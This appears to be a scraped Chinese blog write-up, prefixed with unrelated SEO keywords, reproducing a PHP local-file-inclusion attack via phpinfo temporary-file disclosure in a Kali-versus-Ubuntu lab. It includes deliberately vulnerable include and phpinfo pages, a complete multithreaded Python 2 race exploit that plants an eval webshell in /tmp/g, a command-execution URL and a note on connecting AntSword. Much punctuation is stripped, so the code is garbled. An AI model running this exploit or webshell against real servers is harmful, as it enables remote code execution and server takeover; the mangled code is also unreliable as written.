网站建设素材,做网站要在工商备案吗,网站建设情况,seo推广优化方案目录
前言
原理
漏洞复现
靶场环境
源码
复现过程 前言 PHP LFI本地文件包含漏洞主要是包含本地服务器上存储的一些文件#xff0c;例如session文件、日志文件、临时文件等。但是#xff0c;只有我们能够控制包含的文件存储我们的恶意代码才能拿到服务器权限。假如在服…目录
前言
原理
漏洞复现
靶场环境
源码
复现过程 前言 PHP LFI本地文件包含漏洞主要是包含本地服务器上存储的一些文件例如session文件、日志文件、临时文件等。但是只有我们能够控制包含的文件存储我们的恶意代码才能拿到服务器权限。假如在服务器上找不到我们可以包含的文件此时可以通过利用一些技巧让服务存储我们恶意生成的临时文件该临时文件包含我们构造的的恶意代码此时服务器就存在我们可以包含的文件了。如果目标网站上存在phpinfo则可以通过phpinfo来获取临时文件名进而进行包含。 $_FILES[userfile][name] 客户端文件的原名称。
$_FILES[userfile][type] 文件的 MIME 类型如果浏览器提供该信息的支持例如image/gif。
$_FILES[userfile][size] 已上传文件的大小单位为字节。
$_FILES[userfile][tmp_name] 文件被上传后在服务端储存的临时文件名一般是系统默认。可以在php.ini的upload_tmp_dir 指定默认是/tmp目录。
$_FILES[userfile][error] 该文件上传的错误代码上传成功其值为0否则为错误信息。原理 过程 1.发送包含了webshell的上传数据包给phpinfo页面这个数据包的header、get等位置需要塞满垃圾数据 2.phpinfo页面会将所有数据都打印出来1中的垃圾数据会将整个phpinfo页面撑得非常大 3.php默认的输出缓冲区大小为4096可以理解为php每次返回4096个字节给socket连接 4.操作原生socket每次读取4096个字节。只要读取到的字符里包含临时文件名就立即发送第二个数据包 5.此时第一个数据包的socket连接实际上还没结束因为php还在继续每次输出4096个字节所以临时文件此时还没有删除 6.利用这个时间差发第二个数据包即可成功包含临时文件最终getshell 处理 PHP 对 enctypemultipart/form-data请求的处理过程如下 1、请求到达 2、创建临时文件通常是/tmp/php[6 个随机字符]并写入上传文件的内容 3、调用相应 PHP 脚本进行处理如校验名称、大小等 4、删除临时文件。 总结 php post 上传文件产生临时文件phpinfo读临时文件的路径和名字本地包含后生成后门 漏洞复现
靶场环境
kali192.168.10.128Ubuntu192.168.10.139
源码
upload.htmlkali
!doctype html
html
body
form actionhttp://192.168.10.139/06/phpinfo.php methodPOST
enctypemultipart/form-data
h3 Test upload tmp file/h3
label forfileFilename:/label
input typefile namefile/br/
input typesubmit namesubmit valueSubmit /
/form
/body
/html
lfi.php(Ubuntu)
?php
include $_GET[file];
?phpinfo.php(Ubuntu)
?php
phpinfo();
?
代码测试
http://ip/06/lfi.php?filephpinfo.php py2脚本
#!/usr/bin/python
import sys
import threading
import socketdef setup(host, port):TAGSecurity TestPAYLOAD%s\r
?php file_put_contents(/tmp/g, ?eval($_REQUEST[1])?)?\r % TAGREQ1_DATA-----------------------------7dbff1ded0714\r
Content-Disposition: form-data; namedummyname; filenametest.txt\r
Content-Type: text/plain\r
\r
%s
-----------------------------7dbff1ded0714--\r % PAYLOADpaddingA * 5000REQ1POST /06/phpinfo.php?apadding HTTP/1.1\r
Cookie: PHPSESSIDq249llvfromc1or39t6tvnun42; othercookiepadding\r
HTTP_ACCEPT: padding \r
HTTP_USER_AGENT: padding\r
HTTP_ACCEPT_LANGUAGE: padding\r
HTTP_PRAGMA: padding\r
Content-Type: multipart/form-data; boundary---------------------------7dbff1ded0714\r
Content-Length: %s\r
Host: %s\r
\r
%s %(len(REQ1_DATA),host,REQ1_DATA)#modify this to suit the LFI script LFIREQGET /06/lfi.php?file%s HTTP/1.1\r
User-Agent: Mozilla/4.0\r
Proxy-Connection: Keep-Alive\r
Host: %s\r
\r
\r
return (REQ1, TAG, LFIREQ)def phpInfoLFI(host, port, phpinforeq, offset, lfireq, tag):s socket.socket(socket.AF_INET, socket.SOCK_STREAM)s2 socket.socket(socket.AF_INET, socket.SOCK_STREAM)s.connect((host, port))s2.connect((host, port))s.send(phpinforeq)d while len(d) offset:d s.recv(offset)try:i d.index([tmp_name] gt; )fn d[i17:i31]except ValueError:return Nones2.send(lfireq % (fn, host))d s2.recv(4096)s.close()s2.close()if d.find(tag) ! -1:return fncounter0
class ThreadWorker(threading.Thread):def __init__(self, e, l, m, *args):threading.Thread.__init__(self)self.event eself.lock lself.maxattempts mself.args argsdef run(self):global counterwhile not self.event.is_set():with self.lock:if counter self.maxattempts:returncounter1try:x phpInfoLFI(*self.args)if self.event.is_set():break if x:print \nGot it! Shell created in /tmp/gself.event.set()except socket.error:returndef getOffset(host, port, phpinforeq):Gets offset of tmp_name in the php outputs socket.socket(socket.AF_INET, socket.SOCK_STREAM)s.connect((host,port))s.send(phpinforeq)d while True:i s.recv(4096)di if i :break# detect the final chunkif i.endswith(0\r\n\r\n):breaks.close()i d.find([tmp_name] gt; )if i -1:raise ValueError(No php tmp_name in phpinfo output)print found %s at %i % (d[i:i10],i)# padded up a bitreturn i256def main():print LFI With PHPInfo()print - * 30if len(sys.argv) 2:print Usage: %s host [port] [threads] % sys.argv[0]sys.exit(1)try:host socket.gethostbyname(sys.argv[1])except socket.error, e:print Error with hostname %s: %s % (sys.argv[1], e)sys.exit(1)port80try:port int(sys.argv[2])except IndexError:passexcept ValueError, e:print Error with port %d: %s % (sys.argv[2], e)sys.exit(1)poolsz10try:poolsz int(sys.argv[3])except IndexError:passexcept ValueError, e:print Error with poolsz %d: %s % (sys.argv[3], e)sys.exit(1)print Getting initial offset..., reqphp, tag, reqlfi setup(host, port)offset getOffset(host, port, reqphp)sys.stdout.flush()maxattempts 1000e threading.Event()l threading.Lock()print Spawning worker pool (%d)... % poolszsys.stdout.flush()tp []for i in range(0,poolsz):tp.append(ThreadWorker(e,l,maxattempts, host, port, reqphp, offset, reqlfi, tag))for t in tp:t.start()try:while not e.wait(1):if e.is_set():breakwith l:sys.stdout.write( \r% 4d / % 4d % (counter, maxattempts))sys.stdout.flush()if counter maxattempts:breakprintif e.is_set():print Woot! \m/else:print :(except KeyboardInterrupt:print \nTelling threads to shutdown...e.set()print Shuttin down...for t in tp:t.join()if __name____main__:main()
复现过程
修改py脚本中的PHPinfo和lfi的位置以及一句话后门的密码在kali中用pyhton2执行脚本 python2 lfi.py 192.168.10.139 80 现在我们查询Ubuntu的/tem目录发现后门已经生成 尝试包含
http://ip/06/lfi.php?file/tmp/g1system(%27ls%20/%27); 蚁剑连接